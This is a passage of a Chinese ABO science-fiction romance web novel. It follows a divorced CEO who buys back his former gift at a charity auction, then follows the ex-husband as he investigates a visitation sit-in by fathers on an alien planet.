入口处一阵轻微的骚动,伴随着几句提高了音量的寒暄和女人娇俏的笑声。 他心跳猝然漏跳一拍,几乎是下意识地屏住呼吸,循声望去,不是他。是另一拨相携而来的名流。 一股混合着强烈失望和尖锐自嘲的情绪猛地涌上,他抿了一口酒,液体冰凉辛辣,划过喉咙。 “顾总!真是天大的荣幸,没想到能在这里遇见您!我还以为我看花眼了呢!”一个略显谄媚的男声插了进来,伴着两道身影挡住他的去路。 顾景深极其缓慢地敛起心神,压下眉宇间一闪而过的不耐与戾气,淡眼看去。应该姓王,他有点印象。每天想尽办法出现在他身边,车库,电梯,甚至在路边、飞机上装作偶遇就是想混个脸熟的人不知几凡,这位能让他记住姓什么,也算是有能力。 毕竟,最近半年,这人像牛皮糖一样试图和顾氏搭上线,他靠着建材和运气发了家,作风浮夸,嗅觉倒是灵敏,惯会钻营。 王建业身侧,紧紧挨着一位看起来刚满二十的年轻女性Beta,一身显然价值不菲的高定柔粉色抹胸礼服,蕾丝、薄纱与亮片堆砌出过分的精致,反倒失了些品味。 妆容完美得像是精心烧制的瓷娃娃,每一笔都恰到好处,眼神里带着被精心教导过的、怯生生的仰慕,以及一丝掩藏不住、急于跃上枝头的野心。 但是顾景深的视线还是在她的脸上停留了片刻,她长得有几分像沈之年,但也不过是东施效颦。 “王总。”顾景深颔首,语气是商场惯有的、带着明确距离感的疏离,杯沿重新抵在薄唇边,是一个拒绝深入交谈的明确信号。他的视线也丝滑的移开,仿佛刚才那一眼不是他看的似的。 王建业仿佛完全没察觉他的冷淡,或者说,巨大的利益诱惑让他选择了无视。 他热络地上前半步,几乎要挤占掉顾景深面前最后的私人空间,声音又拔高了些,带着一种夸张的赞叹:“顾总日理万机,还能亲自拨冗支持慈善事业,真是我等楷模!令人敬佩!顾氏今年第一季度的财报我又拜读了,在业内真是一骑绝尘,让我们这些老家伙真是望尘莫及啊!佩服,实在是佩服!” 顾景深的视线已经再一次越过王建业油光锃亮、几乎能反射出水晶灯影的头顶,焦灼地投向更远处流动的人群。他心不在焉地又从喉间挤出一个单音节:“嗯。”希望这极致的敷衍能令对方知难而退。 然而王建业的表演欲望和“诚意”显然超乎他的想象。 见顾景深反应冷淡,王建业毫不气馁,话锋一转,手掌极其自然又带着点不容拒绝的强制性,引向身旁一直安静含笑的女孩:“顾总,光顾着说我了,失礼失礼。给您介绍一下,这是小女,Vivian。刚从巴黎读完艺术史回来,小姑娘家家的,不懂生意场上的事,就是心气高,眼光也高,一直特别崇拜顾总您这样的青年才俊!” “孩子在家里天天念叨,说傅总是她的人生偶像,商业教科书!非缠着我这个老骨头,说今天无论如何,拼着被我责怪也要引见一下不可。”他故作无奈地摇头,脸上却满是得意之色,用力推了女儿一把,“Vivian,还傻站着干什么?还不快跟顾总问好?平时在家里不是挺能说的吗?” 那名叫Vivian的女孩立刻像是上了发条的玩偶,被父亲这一推,顺势上前一步,微微垂下头,做出一个自觉最优美的角度,露出雪白纤细的脖颈和线条优美的锁骨,脸颊飞起恰到好处的红晕,声音又软又糯,带着刻意练习过的娇怯与仰慕: “顾总您好,我一直…一直非常仰慕您。读过所有关于您的专访,您对市场的判断力和决策魄力,真的太令人折服了。今天能亲眼见到您,我真的…真的太开心、太紧张了。” 她伸出手,指甲修剪得完美,涂着淡淡的珠光粉色蔻丹,手腕上那串价值不菲的钻石手链在灯光下折射出刺眼的光芒,期待着一个礼节性的握手。 这个动作,这套说辞,意图明显得令人尴尬,目的性赤裸得几乎不加掩饰。 这个女孩绝对不可能是王建业的女儿,生的有三分像沈之年也绝对是大美人了,顾景深的视线掠过王建业折射灯光的大秃脑袋和满是褶子的脸······ 几乎是生理性的本能反应,顾景深的视线急速从远处收回,猛地投向王薇薇伸出的那只保养得宜的手, 一种混合着极度尴尬、被严重冒犯以及害怕被误解的急切情绪猛地攫住他,让他的脸色瞬间沉了下来,下颌线绷得死紧。他甚至忘了最基本的社交礼仪,没有去握那只悬在半空、期待被回应的手,仿佛那是什么沾惹不得的脏东西。 Alpha成婚之后就会和Omega标记,之后没办法再去和其他Omega交往,所以他们往往会有一些漂亮的beta情人,以此来讨好他的人,顾景深也不是没见过。 为了利益,多个妹妹,女儿之类的,都是常事······ 但是这次不一样,就算是一点点相似,顾景深也不想要他们拿沈之年做筏子······ 他的声音变得冷硬,像是结了冰碴,带着不容错辨的锐利与逐客意味:“王总太客气了。令媛很好。你们自便。” 他几乎是粗暴地打断可能存在的后续寒暄,猛地转身欲走,动作匆忙得近乎失礼, 就在他仓促转身,试图将自己从这令人窒息和作呕的奉承中剥离出去的刹那,他的目光猛地定住了,全身的血液似乎在瞬间冻结,四肢百骸都泛起一股冰冷的麻木感。 不远处,弧形楼梯的缓步台上,沈之年就站在那里。 一袭烟灰色真丝西装,没有任何冗余的装饰,仅凭极其流畅的剪裁和顶级面料自身的光泽与垂坠感,就衬得他肌肤胜雪,气质清绝出尘,在珠光宝气的人群中,反而有种遗世独立的疏离感。 他的半长发松松挽起,一个简单的珍珠发饰点缀其间,几缕不听话的碎发随意地垂落在光洁的耳畔和纤细的颈间,反而增添了几分慵懒随性的风情。 他正微微侧身,专注地听着一位长辈模样的人说话,唇角含着一缕浅淡而恰到好处的、教养良好的笑意,指尖优雅地托着一只郁金香形香槟杯。 顾景深的心猛地慌乱起来,他担心沈之年恰好看见这幕如此明显、如此拙劣的推销与攀附场面。 怕他误会这是他默许甚至乐见的场面,怕他嘴角勾起那抹他熟悉的、带着淡淡嘲讽的笑意,怕他认为他顾景深离婚之后,品味和格调就陡然变得如此庸俗不堪,需要在这种场合接受这种级别的“进贡”。 沈之年的视线也恰到好处的掠过这里,停留了一瞬间,然后若无其事的转移开,连面色都没有变化,好像是不在意······《 》 60-70 第61章 顾景深的心直直地沉下去。他所有的慌乱, 所有的担心,所有预设过的、他或许会有的任何一丝反应——不悦、讥诮、甚至只是漠然的一瞥——都没有。什么都没有,沈之年平静得就像他只是宴会厅里任何一根无关紧要的装饰柱。 这时, 和沈之年寒暄的那位似乎注意到了顾景深这边的僵局,带着点调侃的语气低声对沈之年说了句什么,目光还朝着顾景深的方向示意了一下。 沈之年这才顺着那人的目光,再次缓缓地、似乎带着点偶然地, 看了过来。 顾景深喉结剧烈地上下滚动了一下,下意识地挺直了背脊, 仿佛这样就能在他可能投来的审视目光中, 显得不那么狼狈和尴尬。他甚至下意识地将拿着酒杯、沾着酒渍的手往身后藏了藏。 可那目光并非给他。 他仅仅是微笑和顾景深点了一下头, 好像这个宴会任何一个人得到的待遇一样,沈之年仅仅是尽了一下主人家应有的礼仪, 之后他的视线轻飘飘地掠过他,如同掠过一件家具、一个模糊的影子,没有停留,没有辨认, 甚至没有聚焦,自然也就没有激起半分涟漪。 他眼底那抹温和的、程序化的笑意甚至没有丝毫变化,然后,他的目光越过了他的肩膀, 看向了他的身后。 不知道是在看谁, 沈之年的视线定了一下,然后微笑着又轻轻点一下头,和他得到的示意几乎一模一样,如果现在是一场影视剧,应该这是同一个镜头的重复播放。 顾景深下意识的转回头另一个得到沈之年示意的人是谁, 是一个完全无关紧要的人,他们获得一样的待遇······ 那人甚至因为得到顾景深的关注整个人骤然的就谄媚起来,还想上前过来搭话······ 沈之年应该是听到了什么,脸转到了另一个方向,然后轻轻勾起唇角,眼睛里也亮起了一阵微光。 那是一种真正浸染到眸心的、带着熟稔与亲近的微光,瞬间点亮了他整张脸庞,柔和得不可思议。 一个Alpha从黑暗中走出,他身着剪裁精良的西装,线条利落,深色面料泛着低调光泽,衬出宽肩窄腰的轮廓,不出意外,是薛明亦。 他极其自然走到沈之年的身边又无比亲昵地握住了沈之年的手,与他十指紧扣,并肩而立。 他的眼睛里好像只有沈之年一个人,和那些人简单打过招呼之后就凑到沈之年的耳边,不知道说了些什么,应该是很有趣的话,两个人同时浅浅的笑出声。 连带着对面和沈之年交谈的长辈也看着他们慈爱的笑。 他们靠的很近,也很亲昵,像一对壁人······—— 薛明亦也看到了顾景深,他当然能看到,就算是在蜂拥的人群里,顾景深的身姿依旧优越,好像是天生的主角,一眼就会被锁定。 “你看到他了么?” 沈之年克制自己的视线不去看顾景深,说实话,这也很费劲,就算和爱情无关,顾景深自己就在人群中足够显眼,再加上两个人之间天然的信息素的吸引,顾景深在沈之年的眼里简直就是一个发光大灯泡。 不去看发光大灯泡很难, 这一切对于沈之年来说好像是一场不要看挑战。 沈之年对着薛明亦嗔怪一声,“明知故问,我又不是瞎子。” 两个人正在说话,宴会厅中央的水晶灯缓缓暗下,只留下一束明亮的光柱,精准地打在临时搭建的拍卖台上。 沈奉月从容地站在光柱中心,西装笔挺,神态自若,调试了一下麦克风,低沉悦耳的嗓音透过音响清晰传出,简要介绍着今晚慈善拍卖的规则与意义,言辞得体,风度翩翩。 对,今天是一个慈善拍卖,沈奉月看着台下衣香鬓影,露出满意的神色,这么多大肥羊,不知道能解决Omega协会多少问题。 拍卖会正式开始,宾客纷纷落坐, 沈之年坐在前排主桌,侧影优雅,偶尔因薛明亦的某句妙语而微微颔首,唇边噙着淡淡的、欣赏的笑意。那画面和谐刺眼,让他胃里一阵翻搅。 沈奉月心中满意,主持起来就更起劲了,拍卖有条不紊地进行着。 几件珠宝、一幅当代油画、某个度假别墅的一周使用权……竞价声此起彼伏,慈善的名义为这些一掷千金的行为镀上了一层光晕。 顾景深心不在焉,目光死死锁着沈之年的方向,对周遭的一切几乎充耳不闻。 他们会说什么呢?他们也会拥抱么,他如果现在过去打招呼,沈之年会和他说些什么呢? 原来见面根本没有用,这无异于一次饮鸩止渴。 见面之后,他想和他说话,甚至拥抱,希望沈之年能和幻想一样对着他笑······ 在他的注视里,沈之年起身走向了拍卖台,“接下来的拍卖由我主持,” 但是眼前正中间却是空空如也,没有要拍卖的物件。 沈之年微笑着走到正中,抬起手,展示手腕上面的腕表,然后灵巧的摘下腕表。 礼仪小姐戴着白手套,捧着一个打开的黑丝绒表盒,款款走上台。光束聚焦在表盒中央,沈之年将表放进去。 表盘上面蓝灰色的丝质光和沈之年的发色相映成趣,美丽的难以形容。 只一眼,顾景深的呼吸骤然停滞,血液逆流般冲上头顶,耳边嗡嗡作响。 宝蓝色的表盘流转蓝灰色丝光,沈之年对着光,轻轻转动,紫灰色的丝光也流转像深空星河,即使在璀璨灯光下,它也散发着一种内敛而极致奢华的光芒。 他认得它。他怎么可能不认得! 他之前很担心和沈之年建立过于亲密的关系,所以他送过很多礼物,大多都是李秘书挑选的,但是这个不一样,这是他亲手挑选的。 他忘不了在军区禁闭室的杂志上看到他的那一刻,联想起的沈之年的眼睛, 而现在,它被放在冰冷的丝绒上,作为一件待价而沽的商品,被展示在众目睽睽之下,由他的主人,用平静无波的声音介绍着它的型号、工艺、收藏价值。沈之年甚至没有提及它的来历,只强调了它的市场价值和慈善意义。 之前他是一个美丽废物,丹斯今天应该不是了,他在沈之年的手腕那一刻那么的耀眼,他足够的美丽,没人不为之动容。 “……起拍价一百八十万。”沈之年报出数字,声音透过麦克风传遍会场,这远远低于顾景深购买的价格,但是做慈善,本来就和原价的关系不大。 “两百万。”立刻有人举牌。 “两百二十万。” “两百五十万。” 竞价声开始响起,不算特别激烈,但稳步上升。能来这里的人,非富即贵,他们愿意为了那一瞬间的美丽买单。 当然,他们也相信,今晚之后,这块表不再是美丽废物,而是真正的稀有奢侈品。 顾景深只觉得那些数字像鞭子一样抽在他脸上。他送给他的礼物,此刻正被明码标价,等待着被一个新的主人买走。而他就坐在那里,面色平静,甚至带着一丝鼓励的微笑看着竞价过程,仿佛那只是一件与他毫无关系的寻常藏品。 “三百万。”一个声音响起。 顾景深举起手中的号牌,他的声音干涩嘶哑,却带着一种不容置疑的决绝:“四百万!” 全场出现了一瞬间的寂静。所有目光都投向他。 没人不卖顾景深面子······ 沈之年显然也愣了一下,但他很快恢复专业态度:“这位先生出价四百万。还有没有更高的?”他的目光扫过全场,带着询问。 “四百万第一次,”沈之年的声音打破了寂静,“四百万第二次……” 没有人再举牌。 “四百万第三次。成交!”小木槌落下,发出清脆的一声响,一锤定音。 “恭喜这位先生。”沈之年看向顾景深,恭喜他买回了自己的礼物······ 礼仪小姐捧着那块表,向他走来。 顾景深深呼吸一口气,还在维持他应有的体面,但是他心里清清楚楚,这是一种拒绝,沈之年的拒绝。 他那么温柔善良的人,怎么会拿别人的礼物出来拍卖呢,只有可能是故意的。 他接过那块冰冷的表,支票本被机械地拿出,签下。 拍卖还在继续,人群的注意力早已转移。 只有顾景深握着手表,坐在那里。 露易丝不知道里面的因缘,从坐在一边的儿子手里拿过这块表,“真可惜,是一块男表,要不然这么漂亮,可以送给妈妈。” 打量了半天才心满意足的还给儿子,但是这个时候,突然觉得不太对,“哦,儿子,你是不是哭了!” 顾景深的眼眶里水光粼粼,只是泪珠还没落下来 顾景深赶紧侧过头,“怎么可能!” 但是很可惜,露易丝完全没有给儿子留下面子的想法,“就是想哭吧。” 她凑到顾景深的身边,“还是那么要面子,你知道么,我对你最满意的就是,你和怀深虽然长得很相似,但是怀深像宗翰,你更像我,因为像我,严肃的时候好看,笑也好看,哭也好看。” “儿子,你明白么?” 顾景深听不懂,也不想理会妈妈此刻突然的自恋。 但是露易丝却强势的把儿子的脸板正,“景深,这个社会给了Alpha太多的优待,说是围着Alpha运转也不为过,所以只有Omega会不停的被教导如何讨好Alpha,然后被教导喜欢一个世俗意义上成功的Alpha,在婚姻里,Alpha什么都不需要额外多做。” “但是你想得到爱人的芳心,怎么能什么都不做呢。你做生意的时候,也是有投资,才有回报啊,你应该学着讨好你的Omega了,虽然你现在开始学习,可能连Omega们收到教育的百分之一都不到。” 顾景深不由得回身看妈妈。 露易丝露出一点势在必得的微笑,“所以你注意到了么,在你哭的时候,年年往这边看了一眼,哦,不只一眼······” 露易丝说着,又捧起儿子的脸,“我就说,我们景深长得和我很像,哭起来,那么漂亮!” “这是你的优势!”露易丝仔细端详过后,轻轻凑到儿子耳边开口,“你得好好发挥它,我的好景深 第62章 次日, 一早。 昨天的浮华已经褪尽了,沈之年换下了昨天华丽的装束,身着银灰色丝质睡衣, 更衬得肌肤奶白,宛若冷釉。 他身形清瘦修长,立在晨曦的微光里,似一缕月光雕琢的影。 砰砰砰。 沈之年敲响了沈奉月的门。 昨日晚宴的所得还没有具体统计, 沈之年也只知道是一笔很大的钱,应该能解决不少问题。 按理说, 这个大获全胜的早上, 沈奉月应该已经早早的起床, 朝气慢慢的绘制他未来的蓝图。 但是沈之年都起床了,沈奉月还是没醒。 门里没有反应,沈之年又敲了一下,那么一大笔钱,财帛动人心,现在的沈奉月就是一个大肥羊, 之前不是没有出过类似的恶性事件,在酒宴末尾,大家最松懈的时候实施绑架。 “爸爸,你还好么?需不需要我进来?” 里面叮叮当当的一阵响, “年年, 你等一下!” 又等了一会,沈奉月才拉开门。 沈之年先上下打量了一番父亲,看他全须全尾的,才放下心,“爸爸, 做天睡得好么?” 不等沈奉月拒绝,沈之年就挤进了房间,里面的冷气开的很足,新风系统还在呼呼呼的响,冷气刺在皮肤上激起沈之年的一阵战栗。 他回过头,看到全身上下捂得严严实实的爸爸,“爸爸,你不要把冷气开的这么低,身上穿的再多,头也漏在外面啊,这样以后老了会偏头痛的。” 沈之年接着往里走,就看到再沙发上同样捂得严严实实的伊桑。 他没想到会在这里看到弟弟,大脑里会有一瞬间的空白,他下意识的看向父亲,沈奉月躲避了沈之年的视线。 沈之年:“伊桑,你怎么······” 伊桑:“叔叔叫我过来说在学校的事情······” 两个人同时开口,伊桑那么大的个子窝在沙发里委委屈屈的,沈之年的脑海里立刻就出现了一些不好的猜测,“你是不是被同学欺负了?” 伊桑垂着头还是不说话,沈奉月适时的走上前,隔开沈之年,“没关系,这件事让我来处理吧。” 说着转头看伊桑,“你先回去,你被欺负这件事,我会给你一个交代。”他把欺负两个字咬的很死。 伊桑迟疑着点点头,但是还是没动。 沈之年推推爸爸,“爸爸,被校园霸凌的话,你要好好安慰伊桑,你这几天是不是很忙,要不我去他学校一趟吧。” 做哥哥对于沈之年来说也是一种新奇的体验,他觉得可以带上他的大香氛去学校感受一下那到底是什么情绪。 “不行!”沈奉月斩钉截铁的拒绝,甚至语气中还带着一点慌乱。 “啊?”沈之年的眼睛里是显而易见的疑惑, 沈奉月快步走到茶几旁边,在混乱的茶几里面摸出一个蓝色的文件夹。“有个紧急情况,需要你立刻出差去处理一下。” “是利浦星那边,”沈奉月语速很快,“出了点麻烦。有个……有几个Alpha,在分会那里闹了三天了,情绪非常激动,严重影响分会的正常办公秩序,也造成了不好的影响。” “你去处理一下。” 这一般不会是沈之年的工作,他最近在协会做吉祥物帮忙做的得心应手。 但是沈奉月还是将蓝色的文件夹递过来,沈之年伸手接过时,注意到他递文件的手指有极其轻微的颤抖。 “这是……基本资料。”沈奉月继续说,目光似乎没有完全聚焦在沈之年脸上,而是掠过他看向后面的伊桑,“你去一趟,查明原因,尽快把冲突解决掉。分会那边已经有点应付不来了。” “那边风景和治安也都很好,你可以在那边玩一玩,不用着急回来。” 沈之年翻开文件夹,里面只有薄薄两页纸。一页是分会上报的简单情况说明,措辞含糊,只说了有Alpha持续闹事,声称权益受损;另一页是空白表格,通常该贴当事人身份信息复印件的地方,也空空如也。信息少得反常。 “会长,爸爸,是什么人,因为具体什么事由起的冲突?”沈之年抬起头问道。通常这类派遣,资料应该会详尽得多。 沈奉月像是被问愣了一下,随即摆手:“是几个四十多岁的Alpha。他说我们分会的工作人员不当介入他的家庭纠纷,教唆他妻子离家出走,还不让他见孩子。” 沈之年迅速在纸上记下“介入家庭,教唆离家家,阻止见孩子”几个关键词,同时心下疑惑更甚——这描述太过笼统,完全不像沈奉月平日交代任务时那种条分缕析、切中要害的风格。 他追问了一句:“分会之前是处理过他的家庭纠纷吗?是哪位工作人员经手的?这种小事,只要要求警察协助强制执行不就行了,怎么会闹来总部这里呢?” 沈之年觉得这完全不是需要出差的任务,只要沈奉月对分部下达指示就可以了。 沈奉月的眼神闪烁了一下,“可能……可能资料没拿全。那边情况紧急,你先过去,现场了解第一手情况最重要。分会主任会配合你的。” 这很不沈奉月。她一向强调做事要有依据、有准备,最反感打无准备之仗。 “好吧,爸爸。我会尽快处理好。”沈之年按下疑虑,点头应承。 听到他答应,沈奉月似乎微微松了口气,但紧绷的肩膀并未完全放松。他接着嘱咐,语气里的某种急切更加明显:“好,好。你过去不用急着回来,在那边可以好好的逛一逛,玩一玩,我可怜的小宝,是不是很久没出去玩了!” 沈之年不是爱出门玩耍的人,刚刚想拒绝父亲的好意,沈奉月就先拉着他的手往门外走,“总之,交给你了。有什么情况随时跟我电话沟通。路上注意安全。” 沈奉月的房间门轻轻合上,留下满腹疑云的沈之年在门外,盯着紧闭的门扉久久难以回神······—— 午后的天空灰蒙蒙的,沈之年撑着一把素色遮阳伞,沿着人行道缓步走着。 他刚刚从超市出来,手里提着一个环保袋,里面装着一些简单用品。 出差总是需要准备一些常规用品,本来只要在光脑上面选购就可以,但是不知道怎么回事,沈奉月非说让他出门走走,推他亲自出门买。 这条街离沈家不远,平日里人来人往,今天因着下雨,行人稀疏了许多。 “沈之年?” 一个熟悉的声音从身后传来,他的脚步顿了一下,却没有立即回头。那声音像是从远处飘来,一个应该明显不应该出现在这里的声音 “真的是你。”声音的主人已经走到了他的面前。 顾景深撑着一把黑色的遮阳伞,他穿着一件深灰色的风衣,衬得身形更加修长。 “好久不见。”沈之年礼貌性地点头,“你怎么在这里?” “是啊,好久不见。”顾景深笑了笑,目光在他脸上停留片刻,“我恰好路过,东西这么多,要不要我送你一程?。” “谢谢。”沈之年简短地回应,但是他提起轻飘飘的袋子展示给顾景深看,告诉他自己的东西有多少······ 两人之间陷入了一阵短暂的沉默。 顾景深先开了口:“好吧,我一直在这里等你,我很想见你。” “那个人怎么没陪你?”对上沈之年疑惑的眼神,顾景深不得不补充说到,“薛明亦······” 沈之年抬眼看他,没有接话。 “他也太不体贴了······”顾景深试探性地说,语气故作轻松,眼神却紧紧盯着他的反应。 沈之年淡淡地说,“你之前也没陪我。” “我一直都是自己出门的。” 顾景深完全无视这个尴尬,他紧紧的记得,露易丝的嘱托,嘴角微微扬起,却看不出笑意,“他是做什么的?和我之前一样忙么?” “我以为你以后不会再找一个大忙人了······” 沈之年轻轻摇头:“他是医生。” “医生啊”顾景深拖长了音调,像是听到了什么有趣的事情,“现在这行业竞争挺大的,刚入行的年轻人压力可不小。收入稳定吗?在首都星的医院留下很难吧······” “你误会了。”沈之年平静地说,“明亦有自己的私人医院,做得很好。” “私人医院?”顾景深挑眉,“现在年轻人自己创业的不少,能坚持下去的不多。市场竞争这么激烈,小医院很难打出名气吧?怕是勉强维持生计。” 说到金钱,顾景深就进入到自己得意的领域,言谈间几多轻视。 沈之年没有接话,他知道,无论他说什么,顾景深都会找到角度来贬低薛明亦。这不是真的关心,而是一种隐形的炫耀和对比——看,我比他强多了。 “你究竟想说什么?”沈之年打断顾景深的话,“你家怎么也不会路过这里吧······” “你找我究竟是有什么事情。” 顾景深的表情僵了一下,他没想到自己又露出那个高高在上的嘴脸,明明来之前想的好好的,他本来神采飞扬的眉眼立刻耷拉下来,像一只被训了很久的大型犬:“对不起,我只是很想你,很想见你,不如我请你吃个晚饭?我们可以聊聊近况。”他的声音变得柔和,带着讨好的意味,“我一直很想你,年年。” 最后那个称呼让沈之年的心轻微地颤了一下。 “谢谢你的邀请,但我还有事。”沈之年礼貌而坚定地拒绝。 “是约了人吗?”顾景深追问,眼神暗了一下,“那个薛明亦?” “你要和他一起吃饭去么?” 但顾景深仍不放弃,他可是抛弃掉面子过来邀约的,怎么可能被一句拒绝劝退:“那明天呢?或者周末?我最近不太忙,可以配合你的时间。” 沈之年轻轻摇头:“不必了。” 他抬起头,看到顾景深黯然的神色,其实顾景深真的真的很漂亮,之前总是高高在上,盛气凌人的管理者姿态,现在柔软下来,才能窥见眉眼如画,惹人怜爱。 他捧起顾景深的脸颊,轻轻凝视他有些失望的双眸,“如果你一开始就态度这么好就好了······” 顾景深的双眸里逐渐染上希望, 然后就听见沈之年说,“但是可惜,最近我要出差,没办法陪你吃饭了!” 第63章 星际飞船“宁静号”缓缓降落在利浦星第三空港。沈之年透过舷窗望去, 眼前是一片令人心旷神怡的绿色世界。蜿蜒的河流像银带般穿梭在茂密的晶簇森林间,远处霞光平原上泛着淡淡的紫金色,与宣传影像中的一模一样。 沈之年不是没见识的Omega, 他去过很多星球,但利浦星的美丽依然让他屏息。 这里被誉为“银河系的后花园”。 “已抵达利浦星维迪亚市空港,外部气温25摄氏度,湿度适宜, 空气质量优。”飞船AI用柔和的嗓音播报着。 沈之年提起随身行李,深吸一口气。这次的任务看似简单, 但是爸爸会派他过来一定有他的原因。 走出舱门, 一股混合着花草清香的微风扑面而来。沈之年注意到空港建筑巧妙地与自然环境融合, 流线型结构上爬满了开着蓝色小花的藤蔓。不远处,一位身材高挑、耳朵微尖的艾尔达人正在等待,她淡金色的皮肤上有若隐若现的银色纹路。 利浦星不仅有人类生活,还有一些类人物种,其中就包括美丽的艾尔达人,他们像之前人类文明中的虚构的精灵, 体态纤细优雅,耳朵稍尖,皮肤常有细微的天然纹路或轻微荧光。 而且他们感官敏锐,尤其对自然能量和生态波动有天生的亲和力。寿命较长, 注重艺术、哲学与生态和谐。 这些都巧妙的和人类虚构的精灵一样, 利浦星距离首都星有一段距离,这还是沈之年第一次见到活得艾尔达人。 毕竟只有人类有Omega这种性别,他倒是听说过,Omega协会里面有一些善良的类人生物,没想到第一天就能看到。 “沈之年专员?我是米拉, 利浦星妇联的接待员。”艾尔达人微笑着上前,手势优雅,“旅途愉快吗?” “您和会长长得很像!”米拉说完,苍白的脸上就染上嫣红,露出明显陶醉的神色。 “很顺利,谢谢。”沈之年与米拉握手时注意到对方指尖有细微的荧光,“能简要介绍一下现在的情况吗?” 米拉的表情严肃起来:“有三四个男人···emmmm,你们人类叫Alpha,已经在我们办事处门前静坐五天了。他们声称只是想见见自己的孩子。” “听起来不复杂,为什么需要总部支援?” 米拉犹豫了一下:“因为他们妻子的离婚案都是我们处理的,而且涉及到跨星球法律条款。分部主任认为需要总部的权威和经验。”利浦星距离首都星球很远,原生物种是卡桑人和艾尔达人,人类是后移民来的,所以很多法律其实并不和合众星环国相同。 他们保留了一定的自治权,也有一些特有的法律。 沈之年点点头,表示理解,但是人类还是完全适用合众星环国的法律, 城市建筑不高,多数掩映在晶簇森林之中,那些半植物半矿物的树木在阳光下折射出七彩光芒。街道上人类、艾尔达人和卡桑人和谐共处,给人一种平静安宁的感觉。 正因如此,当悬浮车停在妇联办事处前时,门口的景象显得格外突兀。 三个男人坐在简易折叠椅上,举着手工制作的牌子。上面写着:“妇联还我孩子”、“只想见见我的骨肉”、“离婚不该剥夺亲子权”。 看起来三十多岁,面带憔悴。他们安静地坐着,没有喊叫或骚动,反而给人一种悲凉的感觉。 沈之年观察了一会儿:“他们一直这么平静吗?” “是的,从不吵闹,就是坐着。”米拉叹了口气,“这反而让我们更难处理。如果他们暴力一些,就可以叫安保了。” “媒体关注了吗?” “本地媒体做了报道,有些同情他们的声音。”米拉压低声音,“这也是分部担心的,舆论正在微妙地转向。” 沈之年点点头:“我先和他们谈谈。” 走近静坐群体时,沈之年注意到那个卡桑人微微紧张起来,厚重的手指捏紧了标语牌。 “你们好,我是Omega协会的调解员沈之年。”她以平静的语气开场,“我了解到你们希望见到自己的孩子。” 两个人类男子对视一眼,其中那个戴眼镜的先开口:“是的,专员先生。我们不是来闹事的,只是已经三个月没见到孩子们了。” “离婚协议中规定了探视权吗?”沈之年问。 “规定了,但她们总是找借口推脱!”另一个稍微年轻的人类男子激动起来,“说孩子病了,有活动,或者干脆不接通讯。” 另一个低沉地接话:“我的妻子带女儿回了母星地球,我买不起星际旅行的票。” 沈之年心中泛起一丝同情。她见过太多利用孩子伤害前任的案例,无论什么性别,这种行为都不可取。 “我能看看你们的离婚协议和探视权条款吗?” 三个人都提供了电子文档。沈之年快速浏览,发现探视权条款确实明确,理论上不应该存在无法见面的情况。 “Omega协会帮助我们的妻子获得了抚养权,”戴眼镜的男子说,“现在她们滥用这种权利,协会是否应该负责?” 沈之年保持专业表情:“我会调查此事,如果探视权确实被无理拒绝,妇联会协助你们维护合法权益。” 三人脸上露出希望的神色。其中一个甚至微微颤抖:“您真的能帮我见到小莉娜吗?她刚满四岁,眼睛像她母亲,但笑容像我” “我承诺会全面调查。请给我24小时,明天同一时间我会给你们初步答复。” 没能得到沈之年肯定的回答,那几个人也不再说话,而是接着静坐。 米拉脸上露出厌恶的神情,“简直就是牛皮糖!” 不等沈之年问,这个漂亮小精灵就自己开口,“我不知道他们在闹什么,孩子天生就是应该和母亲在一起生活啊,和爸爸有什么关系!” “啊?” 沈之年愣了一下,然后突然意识到这是他们之间的文化差异,艾尔达人热爱自然,贴近自然,于是更趋近于一种母系氏族,他们认为母亲孕育孩子,孩子全权属于母亲。 男人没有孩子······ 他们并不认同男性付出过少就能得到的亲缘关系。 走进办事处内,沈之年总觉得有哪里奇怪······ 他来来往往的都是艾尔达人。 走进办事大厅,一阵悠扬的音乐响起。 音乐声十分的悦耳,如果不是中间有一个他父亲的大全息投影在在随着音乐跳舞就更好了······ 沈之年下意识的看向米拉。 然后就发现米拉已经满脸陶醉看向中间那个踢翩翩起舞的投影,“会长真是太美丽了!” 可能是察觉到沈之年的视线,米拉马上把痴迷的视线投射到沈之年的脸上,“这么美丽的人竟然有两个,感谢森林之神!” 沈之年自认已经非常熟悉别人对他外貌的赞美,但是还是被米拉看的有一点害羞。 只能转移话题,“他们究竟是为什么在门口静坐?为什么不让他们看孩子。” 米拉好看的脸上空白了一瞬,“其实我也不知道!” 沈之年也愣住了,“你···你不知道为什么会来和我交接呢?” 米拉脸上露出羞涩的笑意,“我们知道你是会长的孩子,所以要用最高的规格接待你,”米拉说着,悄悄的挺起了胸膛,“我是最好看的!” 沈之年倒是听说过艾尔达人对美有一种几近执着的追求,但是确实没想到这么执着。 他指指大厅里来来往往的艾尔达人,“那他们?” “我们都是追随会长的!” 沈之年轻轻闭上眼,大约有点明白了,艾尔达人被沈奉月的美色所迷,意外热情的想要加入Omega协会,再加上这边的法律对艾尔达人几多优待,所以他们往往能够打败人类竞争者进入协会。 但是因为他们星球本就相对平等,再加上艾尔达人本身种族特性,没有父亲,无条件的偏向母亲,移情到Omega的身上,往往工作都做的还不错。 “能找一个了解的人和我交流么?” 分部主任帕瓦尔是位中年人类女性Omega,“沈先生,你要调取三起离婚案的全部记录?” 沈之年出示她的电子许可,“是的虽然我们是Omega协会,但是Alpha父亲的权益也是法律规定,如果他们说的是实话,妇联的确有责任帮助他们实现探视权。” 帕瓦尔犹豫片刻,最终点头同意—— 三小时后,沈之年坐在会议室里,面前投影着三起离婚案的大量资料。随着阅读深入,她的眉头越皱越紧。 第一个案例,戴眼镜的马克·提斯。记录显示,离婚前他多次擅自将孩子从学校接走,不告知妻子孩子的去向,最长一次达三天。当妻子申请离婚后,他藏起孩子威胁撤诉。警方有两次介入记录。 第二个案例,年轻些的德里克·莫兰。他在离婚后先得到孩子的抚养权,但是在这期间拒绝让妻子见孩子,声称“她不配做母亲”,并且对孩子进行了心里虐待,有心理评估报告指出,孩子在他影响下开始对母亲产生恐惧和排斥。Omega协会最终协助母亲取得了完全抚养权。 第三个案例,戈尔,他在卡桑人的领地工作,最让沈之年心寒的是这个——他因不满妻子提出离婚,将女儿带到卡桑族专属区域,利用种族文化壁垒阻止母亲接触孩子。 卡桑人生活区域干燥,高温,没有对幼童的基本保障措施,完全不适合孩子的生活,这几乎是一种对孩子的虐待,Omega协会努力很久才把孩子带回来······ 沈之年闭上眼睛,揉着太阳穴。原来那些门口看似可怜的父亲们,正是曾经利用孩子作为武器伤害母亲的人。 “这些情况你们了解吗?”她问帕瓦尔主任。 